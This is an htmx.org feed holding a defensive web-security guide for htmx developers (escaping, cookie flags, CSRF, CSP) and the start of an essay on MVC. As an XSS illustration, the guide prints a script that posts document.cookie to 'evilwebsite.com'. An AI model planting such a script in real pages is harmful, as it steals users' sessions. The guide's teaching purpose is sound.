</> htmx - high power tools for htmlZola2024-02-06T00:00:00+00:00https://htmx.org/atom.xmlWeb Security Basics (with htmx)2024-02-06T00:00:00+00:002024-02-06T00:00:00+00:00Unknownhttps://htmx.org/essays/web-security-basics-with-htmx/<p>As htmx has gotten more popular, it’s reached communities who have never written server-generated HTML before. Dynamic HTML templating was, and still is, the standard way to use many popular web frameworks—like Rails, Django, and Spring—but it is a novel concept for those coming from Single-Page Application (SPA) frameworks—like React and Svelte—where the prevalence of JSX means you never write HTML directly.</p>
<p>But have no fear! Writing web applications with HTML templates is a slightly different security model, but it’s no harder than securing a JSX-based application, and in some ways it’s a lot easier.</p>
<h2 id="who-is-guide-this-for"><a class="zola-anchor" href="#who-is-guide-this-for" aria-label="Anchor link for: who-is-guide-this-for">#</a>Who is guide this for?</h2>
<p>These are web security basics with htmx, but they’re (mostly) not htmx-specific—these concepts are important to know if you’re putting <em>any</em> dynamic, user-generated content on the web.</p>
<p>For this guide, you should already have a basic grasp of the semantics of the web, and be familiar with how to write a backend server (in any language). For instance, you should know not to create <code>GET</code> routes that can alter the backend state. We also assume that you’re not doing anything super fancy, like making a website that hosts other people’s websites. If you’re doing anything like that, the security concepts you need to be aware of far exceed the scope of this guide.</p>
<p>We make these simplifying assumptions in order to target the widest possible audience, without including distracting information—obviously this can’t catch everyone. No security guide is perfectly comprehensive. If you feel there’s a mistake, or an obvious gotcha that we should have mentioned, please reach out and we’ll update it.</p>
<h2 id="the-golden-rules"><a class="zola-anchor" href="#the-golden-rules" aria-label="Anchor link for: the-golden-rules">#</a>The Golden Rules</h2>
<p>Follow these four simple rules, and you’ll be following the client security best practices:</p>
<ol>
<li>Only call routes you control</li>
<li>Always use an auto-escaping template engine</li>
<li>Only serve user-generated content inside HTML tags</li>
<li>If you have authentication cookies, set them with <code>Secure</code>, <code>HttpOnly</code>, and <code>SameSite=Lax</code></li>
</ol>
<p>In the following section, I’ll discuss what each of these rules does, and what kinds of attack they protect against. The vast majority of htmx users—those using htmx to build a website that allows users to login, view some data, and update that data—should never have any reason to break them.</p>
<p>Later on I will discuss how to break some of these rules. Many useful applications can be built under these constraints, but if you do need more advanced behavior, you’ll be doing so with the full knowledge that you’re increasing the conceptual burden of securing your application. And you’ll have learned a lot about web security in the process.</p>
<h2 id="understanding-the-rules"><a class="zola-anchor" href="#understanding-the-rules" aria-label="Anchor link for: understanding-the-rules">#</a>Understanding the Rules</h2>
<h3 id="only-call-routes-you-control"><a class="zola-anchor" href="#only-call-routes-you-control" aria-label="Anchor link for: only-call-routes-you-control">#</a>Only call routes you control</h3>
<p>This is the most basic one, and the most important: <strong>do not call untrusted routes with htmx.</strong></p>
<p>In practice, this means you should only use relative URLs. This is fine:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">hx-get</span><span>=</span><span style="color:#98c379;">"/events"</span><span>>Search events</</span><span style="color:#e06c75;">button</span><span>>
</span></code></pre>
<p>But this is not:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">hx-get</span><span>=</span><span style="color:#98c379;">"https://google.com/search?q=events"</span><span>>Search events</</span><span style="color:#e06c75;">button</span><span>>
</span></code></pre>
<p>The reason for this is simple: htmx inserts the response from that route directly into the user’s page. If the response has a malicious <code><script></code> inside it, that script can steal the user’s data. When you don’t control the route, you cannot guarantee that whoever does control the route won’t add a malicious script.</p>
<p>Fortunately, this is a very easy rule to follow. Hypermedia APIs (i.e. HTML) are <a rel="noopener" target="_blank" href="https://htmx.org/essays/hypermedia-apis-vs-data-apis/">specific to the layout of your application</a>, so there is almost never any reason you’d <em>want</em> to insert someone else’s HTML into your page. All you have to do is make sure you only call your own routes (htmx 2 will actually disable calling other domains by default).</p>
<p>Though it’s not quite as popular these days, a common SPA pattern was to separate the frontend and backend into different repositories, and sometimes even to serve them from different URLs. This would require using absolute URLs in the frontend, and often, <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">disabling CORS</a>. With htmx (and, to be fair, modern React with NextJS) this is an anti-pattern.</p>
<p>Instead, you simply serve your HTML frontend from the same server (or at least the same domain) as your backend, and everything else falls into place: you can use relative URLs, you’ll never have trouble with CORS, and you’ll never call anyone else’s backend.</p>
<p>htmx executes HTML; HTML is code; never execute untrusted code.</p>
<h3 id="always-use-an-auto-escaping-template-engine"><a class="zola-anchor" href="#always-use-an-auto-escaping-template-engine" aria-label="Anchor link for: always-use-an-auto-escaping-template-engine">#</a>Always use an auto-escaping template engine</h3>
<p>When you send HTML to the user, all dynamic content must be escaped. Use a template engine to construct your responses, and make sure that auto-escaping is on.</p>
<p>Fortunately, all template engines support escaping HTML, and most of them enable it by default. Below are just a few examples.</p>
<table><thead><tr><th>Language</th><th>Template Engine</th><th>Escapes HTML by default?</th></tr></thead><tbody>
<tr><td>JavaScript</td><td>Nunjucks</td><td>Yes</td></tr>
<tr><td>JavaScript</td><td>EJS</td><td>Yes, with <code><%= %></code></td></tr>
<tr><td>Python</td><td>DTL</td><td>Yes</td></tr>
<tr><td>Python</td><td>Jinja</td><td><strong>Sometimes</strong> (Yes, in Flask)</td></tr>
<tr><td>Ruby</td><td>ERB</td><td>Yes, with <code><%= %></code></td></tr>
<tr><td>PHP</td><td>Blade</td><td>Yes</td></tr>
<tr><td>Go</td><td>html/template</td><td>Yes</td></tr>
<tr><td>Java</td><td>Thymeleaf</td><td>Yes</td></tr>
<tr><td>Rust</td><td>Tera</td><td>Yes</td></tr>
</tbody></table>
<p>The kind of vulnerability this prevents is often called a Cross-Site Scripting (XSS) attack, a term that is <a rel="noopener" target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#introduction">broadly used</a> to mean the injection of any unexpected content into your webpage. Typically, an attacker uses your APIs to store malicious code in your database, which you then serve to your other users who request that info.</p>
<p>For example, let’s say you’re building a dating site, and it lets users share a little bio about themselves. You’d render that bio like this, with <code>{{ user.bio }}</code> being the bio stored in the database:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">p</span><span>>
</span><span>{{ user.bio }}
</span><span></</span><span style="color:#e06c75;">p</span><span>>
</span></code></pre>
<p>If a malicious user wrote a bio with a script element in it—like one that sends the client’s cookie to another website—then this HTML will get sent to every user who views that bio:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">p</span><span>>
</span><span><</span><span style="color:#e06c75;">script</span><span>>
</span><span> </span><span style="color:#e06c75;">fetch</span><span>(</span><span style="color:#98c379;">'evilwebsite.com'</span><span>, { method: </span><span style="color:#98c379;">'POST'</span><span>, body: document.cookie })
</span><span></</span><span style="color:#e06c75;">script</span><span>>
</span><span></</span><span style="color:#e06c75;">p</span><span>>
</span></code></pre>
<p>Fortunately this one is so easy to fix that you can write the code yourself. Whenever you insert untrusted (i.e. user-provided) data, you just have to replace eight characters with their non-code equivalents. This is an example using JavaScript:</p>
<pre data-lang="js" style="background-color:#1f2329;color:#abb2bf;" class="language-js "><code class="language-js" data-lang="js"><span style="font-style:italic;color:#848da1;">/**
</span><span style="font-style:italic;color:#848da1;"> * Replace any characters that could be used to inject a malicious script in an HTML context.
</span><span style="font-style:italic;color:#848da1;"> */
</span><span style="color:#c678dd;">export function </span><span style="color:#61afef;">escapeHtmlText </span><span>(</span><span style="color:#e06c75;">value</span><span>) {
</span><span> </span><span style="color:#c678dd;">const </span><span style="color:#e06c75;">stringValue </span><span>= </span><span style="color:#e06c75;">value</span><span>.</span><span style="color:#56b6c2;">toString</span><span>()
</span><span> </span><span style="color:#c678dd;">const </span><span style="color:#e06c75;">entityMap </span><span>= {
</span><span> </span><span style="color:#98c379;">'&'</span><span>: </span><span style="color:#98c379;">'&amp;'</span><span>,
</span><span> </span><span style="color:#98c379;">'<'</span><span>: </span><span style="color:#98c379;">'&lt;'</span><span>,
</span><span> </span><span style="color:#98c379;">'>'</span><span>: </span><span style="color:#98c379;">'&gt;'</span><span>,
</span><span> </span><span style="color:#98c379;">'"'</span><span>: </span><span style="color:#98c379;">'&quot;'</span><span>,
</span><span> </span><span style="color:#98c379;">"'"</span><span>: </span><span style="color:#98c379;">'&#x27;'</span><span>,
</span><span> </span><span style="color:#98c379;">'/'</span><span>: </span><span style="color:#98c379;">'&#x2F;'</span><span>,
</span><span> </span><span style="color:#98c379;">'`'</span><span>: </span><span style="color:#98c379;">'&grave;'</span><span>,
</span><span> </span><span style="color:#98c379;">'='</span><span>: </span><span style="color:#98c379;">'&#x3D;'
</span><span> }
</span><span>
</span><span> </span><span style="font-style:italic;color:#848da1;">// Match any of the characters inside /[ ... ]/
</span><span> </span><span style="color:#c678dd;">const </span><span style="color:#e06c75;">regex </span><span>= </span><span style="color:#56b6c2;">/</span><span style="color:#d19a66;">[&<>"'`=/]</span><span style="color:#56b6c2;">/</span><span style="color:#c678dd;">g
</span><span> </span><span style="color:#c678dd;">return </span><span style="color:#e06c75;">stringValue</span><span>.</span><span style="color:#56b6c2;">replace</span><span>(</span><span style="color:#e06c75;">regex</span><span>, </span><span style="color:#e06c75;">match </span><span style="color:#c678dd;">=> </span><span style="color:#e06c75;">entityMap</span><span>[</span><span style="color:#e06c75;">match</span><span>])
</span><span>}
</span></code></pre>
<p>This tiny JS function replaces <code><</code> with <code>&lt;</code>, <code>"</code> with <code>&quot;</code>, and so on. These characters will still render properly as <code><</code> and <code>"</code> when they’re used in the text, but can’t be interpreted as code constructs. The previous malicious bio will now be converted into the following HTML:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">p</span><span>>
</span><span style="color:#d19a66;">&lt;</span><span>script</span><span style="color:#d19a66;">&gt;
</span><span> fetch(</span><span style="color:#d19a66;">&#x27;</span><span>evilwebsite.com</span><span style="color:#d19a66;">&#x27;</span><span>, { method: </span><span style="color:#d19a66;">&#x27;</span><span>POST</span><span style="color:#d19a66;">&#x27;</span><span>, data: document.cookie })
</span><span style="color:#d19a66;">&lt;</span><span>/script</span><span style="color:#d19a66;">&gt;
</span><span></</span><span style="color:#e06c75;">p</span><span>>
</span></code></pre>
<p>which displays harmlessly as text.</p>
<p>Fortunately, as established above, you don’t have to do your escaping manually—I just wanted to demonstrate how simple these concepts are. Every template engine has an auto-escaping feature, and you’re going to want to use a template engine anyway. Just make sure that escaping is enabled, and send all your HTML through it.</p>
<h3 id="only-serve-user-generated-content-inside-html-tags"><a class="zola-anchor" href="#only-serve-user-generated-content-inside-html-tags" aria-label="Anchor link for: only-serve-user-generated-content-inside-html-tags">#</a>Only serve user-generated content inside HTML tags</h3>
<p>This is an addendum to the template engine rule, but it’s important enough to call out on its own. Do not allow your users to define arbitrary CSS or JS content, even with your auto-escaping template engine.</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span style="font-style:italic;color:#848da1;"><!-- Don't include inside script tags -->
</span><span><</span><span style="color:#e06c75;">script</span><span>>
</span><span> </span><span style="color:#c678dd;">const </span><span style="color:#e06c75;">userName </span><span>= {{ user.</span><span style="color:#e06c75;">name </span><span>}</span><span style="background-color:#f2777a;color:#272b33;">}</span><span>
</span><span></</span><span style="color:#e06c75;">script</span><span>>
</span><span>
</span><span style="font-style:italic;color:#848da1;"><!-- Don't include inside CSS tags -->
</span><span><</span><span style="color:#e06c75;">style</span><span>>
</span><span> </span><span style="color:#e06c75;">h1 </span><span>{ color: {{ user.favorite_color }} }
</span><span></</span><span style="color:#e06c75;">style</span><span>>
</span></code></pre>
<p>And, don’t use user-defined attributes or tag names either:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span style="font-style:italic;color:#848da1;"><!-- Don't allow user-defined tag names -->
</span><span><{{ user.tag }}></{{ user.tag }}>
</span><span>
</span><span style="font-style:italic;color:#848da1;"><!-- Don't allow user-defined attributes -->
</span><span><</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">{{ user.attribute }}</span><span>></</span><span style="color:#e06c75;">a</span><span>>
</span><span>
</span><span style="font-style:italic;color:#848da1;"><!-- User-defined attribute VALUES are sometimes okay, it depends -->
</span><span><</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">class</span><span>=</span><span style="color:#98c379;">"{{ user.class }}"</span><span>></</span><span style="color:#e06c75;">a</span><span>>
</span><span>
</span><span style="font-style:italic;color:#848da1;"><!-- Escaped content is always safe inside HTML tags (this is fine) -->
</span><span><</span><span style="color:#e06c75;">a</span><span>>{{ user.name }}</</span><span style="color:#e06c75;">a</span><span>>
</span></code></pre>
<p>CSS, JavaScript, and HTML attributes are <a rel="noopener" target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts">“dangerous contexts,”</a> places where it’s not safe to allow arbitrary user input, even if it’s escaped. Escaping will protect you from some vulnerabilities here, but not all of them; the vulnerabilities are varied enough that it’s safest to default to not doing <em>any</em> of these.</p>
<p>Inserting user-generated text directly into a script tag should never be necessary, but there <em>are</em> some situations where you might let users customize their CSS or customize HTML attributes. Handling those properly will be discussed down below.</p>
<h2 id="secure-your-cookies"><a class="zola-anchor" href="#secure-your-cookies" aria-label="Anchor link for: secure-your-cookies">#</a>Secure your cookies</h2>
<p>The best way to do authentication with htmx is using cookies. And because htmx encourages interactivity primarily through first-party HTML APIs, it is usually trivial to enable the browser’s best cookie security features. These three in particular:</p>
<ul>
<li><code>Secure</code> - only send the cookie via HTTPS, never HTTP</li>
<li><code>HttpOnly</code> - don’t make the cookie available to JavaScript via <code>document.cookie</code></li>
<li><code>SameSite=Lax</code> - don’t allow other sites to use your cookie to make requests, unless it’s just a plain link</li>
</ul>
<p>To understand what these protect you against, let’s go over the basics. If you come from JavaScript SPAs, where it’s common to authenticate using the <code>Authorization</code> header, you might not be familiar with how cookies work. Fortunately they’re very simple. (Please note: this is not an “authentication with htmx” tutorial, just an overview of cookie tokens generally)</p>
<p>If your users log in with a <code><form></code>, their browser will send your server an HTTP request, and your server will send back a response that looks something like this:</p>
<pre style="background-color:#1f2329;color:#abb2bf;"><code><span>HTTP/2.0 200 OK
</span><span>Content-Type: text/html
</span><span>Set-Cookie: token=asd8234nsdfp982
</span><span>
</span><span>[HTML content]
</span></code></pre>
<p>That token corresponds to the user’s current login session. From now on, every time that user makes a request to any route at <code>yourdomain.com</code>, the browser will include that cookie from <code>Set-Cookie</code> in the HTTP request.</p>
<pre style="background-color:#1f2329;color:#abb2bf;"><code><span>GET /users HTTP/1.1
</span><span>Host: yourdomain.com
</span><span>Cookie: token=asd8234nsdfp982
</span></code></pre>
<p>Each time someone makes a request to your server, it needs to parse out that token and determine if it’s valid. Simple enough.</p>
<p>You can also set options on that cookie, like the ones I recommended above. How to do this differs depending on the programming language, but the outcome is always an HTTP request that looks like this:</p>
<pre style="background-color:#1f2329;color:#abb2bf;"><code><span>HTTP/2.0 200 OK
</span><span>Content-Type: text/html
</span><span>Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax
</span><span>
</span><span>[HTML content]
</span></code></pre>
<p>So what do the options do?</p>
<p>The first one, <code>Secure</code>, ensures that the browser will not send the cookie over an insecure HTTP connection, only a secure HTTPS connection. Sensitive info, like a user’s login token, should <em>never</em> be sent over an insecure connection.</p>
<p>The second option, <code>HttpOnly</code>, means that the browser will not expose the cookie to JavaScript, ever (i.e. it won’t be in <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie"><code>document.cookie</code></a>). Even if someone is able to insert a malicious script, like in the <code>evilwebsite.com</code> example above, that malicious script cannot access the user’s cookie or send it to <code>evilwebsite.com</code>. The browser will only attach the cookie when the request is made to the website the cookie came from.</p>
<p>Finally, <code>SameSite=Lax</code> locks down an avenue for Cross-Site Request Forgery (CSRF) attacks, which is where an attacker tries to get the client’s browser to make a malicious request to the <code>yourdomain.com</code> server—like a POST request. The <code>SameSite=Lax</code> setting tells the browser not to send the <code>yourdomain.com</code> cookie if the site that made the request isn’t <code>yourdomain.com</code>—unless it’s a straightforward <code><a></code> link navigating to your page. This is <em>mostly</em> browser default behavior now, but it’s important to still set it directly.</p>
<p>In 2024, <code>SameSite=Lax</code> is <a rel="noopener" target="_blank" href="https://security.stackexchange.com/questions/252300/do-i-still-need-a-csrf-token">usually enough</a> to protect against CSRF, but there are <a rel="noopener" target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html">additional mitigations</a> you can consider as well for more sensitive or complicated cases.</p>
<p><strong>Important Note:</strong> <code>SameSite=Lax</code> only protects you at the domain level, not the subdomain level (i.e. <code>yourdomain.com</code>, not <code>yoursite.github.io</code>). If you’re doing user login, you should always be doing that at your own domain in production. Sometimes the <a rel="noopener" target="_blank" href="https://security.stackexchange.com/questions/223473/for-samesite-cookie-with-subdomains-what-are-considered-the-same-site">Public Suffixes List</a> will protect you, but you shouldn’t rely on that.</p>
<h2 id="breaking-the-rules"><a class="zola-anchor" href="#breaking-the-rules" aria-label="Anchor link for: breaking-the-rules">#</a>Breaking the rules</h2>
<p>We started with the easiest, most secure practices—that way mistakes lead to a broken UX, which can be fixed, rather than stolen data, which cannot.</p>
<p>Some web applications demand more complicated functionality, with more user customization; they also require more complicated security mechanisms. You should only break these rules if you are convinced that it is absolutely necessary, and the desired functionality cannot be implemented through alternative means.</p>
<h3 id="calling-untrusted-apis"><a class="zola-anchor" href="#calling-untrusted-apis" aria-label="Anchor link for: calling-untrusted-apis">#</a>Calling untrusted APIs</h3>
<p>Calling untrusted HTML APIs is lunacy. Never do this.</p>
<p>There are cases where you might want to call someone else’s JSON API from the client, and that’s fine, because JSON cannot execute arbitrary scripts. In that case, you’ll probably want to do something with that data to turn it into HTML. Don’t use htmx to do that—use <code>fetch</code> and <code>JSON.parse()</code>; if the untrusted API pulls a fast one and returns HTML instead of JSON, <code>JSON.parse()</code> will just fail harmlessly.</p>
<p>Keep in mind that the JSON you parse might have a <em>property</em> that is formatted as HTML, though:</p>
<pre data-lang="json" style="background-color:#1f2329;color:#abb2bf;" class="language-json "><code class="language-json" data-lang="json"><span>{ </span><span style="color:#98c379;">"name"</span><span>: </span><span style="color:#98c379;">"<script>alert('Hahaha I am a script')</script>" </span><span>}
</span></code></pre>
<p>Therefore, don’t insert JSON values as HTML either—use <code>innerText</code> if you’re doing something like that. This is well outside the realm of htmx-controlled UI though.</p>
<p>The 2.0 version of htmx will include an <code>innerText</code> swap, if you want to call someone else’s API directly from the client and just put that text into the page.</p>
<h3 id="custom-html-controls"><a class="zola-anchor" href="#custom-html-controls" aria-label="Anchor link for: custom-html-controls">#</a>Custom HTML controls</h3>
<p>Unlike calling untrusted HTML routes, there are a lot of good reasons to let users do dynamic HTML-formatted content.</p>
<p>What if, say, you want to let users link to an image?</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">img </span><span style="color:#d19a66;">src</span><span>=</span><span style="color:#98c379;">"{{ user.fav_img }}"</span><span>>
</span></code></pre>
<p>Or link to their personal website?</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"{{ user.fav_link }}"</span><span>>
</span></code></pre>
<p>The default “escape everything” approach escapes forward slashes, so it will bork user-submitted URLs.</p>
<p>You can fix this in a couple of ways. The simplest, and safest, trick is to let users customize these values, but don’t let them define the literal text. In the image example, you might upload the image to your own server (or S3 bucket, or the like), generate the link yourself, and then include it, unescaped. In nunjucks, you use the <a rel="noopener" target="_blank" href="https://mozilla.github.io/nunjucks/templating.html#safe">safe</a> function:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">img </span><span style="color:#d19a66;">src</span><span>=</span><span style="color:#98c379;">"{{ user.fav_img_s3_url | safe }}"</span><span>>
</span></code></pre>
<p>Yes, you’re including unescaped content, but it’s a link that you generated, so you know it’s safe.</p>
<p>You can handle custom CSS in the same way. Rather than let your users specify the color directly, give them some limited choices, and set the choices based on their input.</p>
<pre data-lang="css" style="background-color:#1f2329;color:#abb2bf;" class="language-css "><code class="language-css" data-lang="css"><span>{% if user.favorite_color === 'red' %}
</span><span style="color:#e06c75;">h1 </span><span>{ color: </span><span style="color:#98c379;">'red'</span><span>; }
</span><span>{% else %}
</span><span style="color:#e06c75;">h1 </span><span>{ color: </span><span style="color:#98c379;">'blue'</span><span>; }
</span><span>{% endif %}
</span></code></pre>
<p>In that example, the user can set <code>favorite_color</code> to whatever they like, but it’s never going to be anything but red or blue. A less trivial example might ensure that only properly-formatted hex codes can be entered, using a regex. You get the idea.</p>
<p>Depending on what kind of customization you’re supporting, securing it might be relatively easy, or quite difficult. Some attributes are <a rel="noopener" target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#safe-sinks">“safe sinks,”</a> which means that their values will never be interpreted as code; these are quite easy to secure. If you’re going to include dynamic input in <a rel="noopener" target="_blank" href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts">“dangerous contexts,”</a> you need to research <em>what</em> is dangerous about those contexts, and ensure that that kind of input won’t make it into the document.</p>
<p>If you want to let users link to arbitrary websites or images, for instance, that’s a lot more complicated. First, make sure to put the attributes inside quotes (most people do this anyway). Then you will need to do something like write a custom escaping function that escapes everything <em>but</em> forward slashes (and possibly ampersands), so the link will work properly.</p>
<p>But even if you do that correctly, you are introducing some new security challenges. That image link can be used to track your users, since your users will request it directly from someone else’s server. Maybe you’re fine with that, maybe you include other mitigations. The important part is that you are aware that introducing this level of customization comes with a more difficult security model, and if you don’t have the bandwidth to research and test it, you shouldn’t do it.</p>
<h3 id="non-cookie-authentication"><a class="zola-anchor" href="#non-cookie-authentication" aria-label="Anchor link for: non-cookie-authentication">#</a>Non-cookie authentication</h3>
<p>JavaScript SPAs sometimes authenticate by saving a token in the client’s local storage, and then adding that to the <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization"><code>Authorization</code> header</a> of each request. Unfortunately, there’s no way to set the <code>Authorization</code> header without using JavaScript, which is not as secure; if it’s available to your trusted JavaScript, it’s available to attackers if they manage to get a malicious script onto your page. Instead, use a cookie (with the above attributes), which can be set and secured without touching JavaScript at all.</p>
<p>Why is there an <code>Authorization</code> header but no way to set it with hypermedia controls? Well, that’s just one of WHATWG’s <del>outrageous omissions</del> little mysteries.</p>
<p>You might need to use an <code>Authorization</code> header if you’re authenticating the user’s client with an API that you don’t control, in which case the regular precautions about routes you don’t control apply.</p>
<h2 id="bonus-content-security-policy"><a class="zola-anchor" href="#bonus-content-security-policy" aria-label="Anchor link for: bonus-content-security-policy">#</a>Bonus: Content Security Policy</h2>
<p>You should also be aware of the <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Content Security Policy</a> (CSP), which uses HTTP headers to set rules about the kind of content that your page is allowed to run. You can restrict the page to only load images from your domain, for example, or to disable inline scripts.</p>
<p>This is not one of the golden rules because it’s not as easy to apply universally. There’s no “one size fits most” CSP. Some htmx applications make use of inline scripting—the <a rel="noopener" target="_blank" href="https://htmx.org/attributes/hx-on/"><code>hx-on</code> attribute</a> is a generalized attribute listener that can evaluate arbitrary scripts (although <a rel="noopener" target="_blank" href="https://htmx.org/docs/#configuration-options">it can be disabled</a> if you don’t need it). Sometimes inline scripts are appropriate to preserve <a rel="noopener" target="_blank" href="https://htmx.org/essays/locality-of-behaviour/">locality of behavior</a> on a application that is sufficiently secured against XSS, sometimes inline scripts aren’t necessary and you can adopt a stricter CSP. It all depends on your application’s security profile—it’s on to you to be aware of the options available to you and able to perform that analysis.</p>
<h2 id="is-this-a-step-back"><a class="zola-anchor" href="#is-this-a-step-back" aria-label="Anchor link for: is-this-a-step-back">#</a>Is this a step back?</h2>
<p>You might reasonably wonder: if I didn’t have to know these things when I was building SPAs, isn’t htmx a step back in security? We would challenge both parts of that statement.</p>
<p>This article is not intended to be a defense of htmx’s security properties, but there are a lot of areas where hypermedia applications are, by default, a lot more secure than JSON-based frontends. HTML APIs only send back the information that’s supposed to be rendered—it’s a lot easier for unintended data to “hide” in a JSON response and leak to the user. Hypermedia APIs also don’t lend themselves to implementing a generalized query language, like GraphQL, on the client, which <a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html">require a <em>massively</em> more complicated security model</a>. Flaws of all kinds hide in your application’s complexity; hypermedia applications are, generally speaking, less complex, and therefore easier to secure.</p>
<p>You also need to know about XSS attacks if you’re putting dynamic content on the web, period. A developer who doesn’t understand how XSS works won’t understand what’s dangerous about using React’s <a rel="noopener" target="_blank" href="https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html"><code>dangerouslySetInnerHTML</code></a>—and they’ll go ahead and set it the first time they need to render rich user-generated text. It is the library’s responsibility to make those security basics as easy to find as possible; it has always been the developer’s responsibility to learn and follow them.</p>
<p>This article is organized to making securing your htmx application a “pit of success”—follow these simple rules and you are very unlikely to code an XSS vulnerability. But it’s impossible to write a library that’s going to be secure in the hands of a developer who refuses to learn <em>anything</em> about security, because security is about controlling access to information, and it will always be the human’s job to explain to the computer precisely who has access to what information.</p>
<p>Writing secure web applications is <em>hard</em>. There are plenty of easy pitfalls related to routing, database access, HTML templating, business logic, and more. And yet, if security is only the domain of security experts, then only security experts should be making web applications. Maybe that should be the case! But if only security experts are making web applications, they definitely know how to use a template engine correctly, so htmx will be no trouble for them.</p>
<p>For everyone else:</p>
<ol>
<li>Don’t call untrusted routes</li>
<li>Use an auto-escaping template engine</li>
<li>Only put user-generated content inside HTML tags</li>
<li>Secure your cookies</li>
</ol>
Model/View/Controller (MVC)2024-01-16T00:00:00+00:002024-01-16T00:00:00+00:00Unknownhttps://htmx.org/essays/mvc/<p>A common objection I see to using htmx and hypermedia is something along the lines of:</p>
<blockquote>
<p>The problem with returning HTML (and not JSON) from your server is that you’d probably also like to serve mobile
apps and don’t want to duplicate your API</p>
</blockquote>
<p>I have already outlined in <a href="https://htmx.org/essays/splitting-your-apis/">another essay</a> that I think you should split your JSON API & your
hypermedia API up into separate components.</p>
<p>In that essay I explicitly recommend “duplicating” (to an extent) your API, in order to
disentangle your “churny” web application API endpoints that return HTML from your
stable, regular & expressive JSON Data API.</p>
<p>In looking back at conversations I’ve had around this idea with people, I think that I have been assuming familiarity
with a pattern that many people are not as familiar with as I am: the
<a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller">Model/View/Controller</a> (MVC)
pattern.</p>
<h2 id="an-mvc-intro"><a class="zola-anchor" href="#an-mvc-intro" aria-label="Anchor link for: an-mvc-intro">#</a>An MVC Intro</h2>
<p>I was a little shocked to discover <a rel="noopener" target="_blank" href="https://www.youtube.com/watch?v=9H5VK9vJ-aw">in a recent podcast</a> that many younger
web developers just don’t have much experience with MVC. This is perhaps due to the Front-end/Back-end split that occurred when Single Page Applications became the norm.</p>
<p>MVC is a simple pattern that predates the web and can be with nearly any program that offers a graphical interface
to a user.</p>
<p>The rough idea is as follows:</p>
<ul>
<li>
<p>A “Model” layer contains your <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Domain_model">“Domain Model”</a>. This layer contains the
domain logic specific to the application. So, for example, a contact management application will have contact-related
logic in this layer. It will not have references to visual elements in it, and should be relatively “pure”.</p>
</li>
<li>
<p>A “View” layer contains the “view” or visual elements that are presented to the user. This layer often (although not always)
works with model values to present visual information to the user. </p>
</li>
<li>
<p>Finally, a “Controller” layer, which coordinates these two layers: for example it might receive an update from a user,
update a Model and then pass the updated model to a View to display an update user interface to the user.</p>
</li>
</ul>
<p>There are a lot of variations, but that’s the idea.</p>
<p>Early on in web development many server side frameworks explicitly adopted the MVC pattern. The implementation
that I’m most familiar with is <a rel="noopener" target="_blank" href="https://rubyonrails.org/">Ruby On Rails</a>, which has documentation on each of these
topics: <a rel="noopener" target="_blank" href="https://guides.rubyonrails.org/active_record_basics.html">Models</a> that are persisted to the database,
<a rel="noopener" target="_blank" href="https://guides.rubyonrails.org/action_view_overview.html">Views</a> for generating HTML views, and
<a rel="noopener" target="_blank" href="https://guides.rubyonrails.org/action_controller_overview.html">Controllers</a> that coordinate between the two.</p>
<p>The rough idea, in Rails, is:</p>
<ul>
<li>Models collect your application logic and database accesses</li>
<li>Views take Models and generate HTML via a templating language (<a rel="noopener" target="_blank" href="https://github.com/ruby/erb">ERB</a>, this is where <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/HTML_sanitization">HTML sanitizing</a> is done, btw)</li>
<li>Controllers take HTTP Requests and, typically, perform some action with a Model and then pass that Model on to a
View (or redirect, etc.)</li>
</ul>
<p>Rails has a fairly standard (although somewhat “shallow” and simplified) implementation of the MVC pattern, built on
top of the underlying HTML, HTTP Request/Response lifecycle.</p>
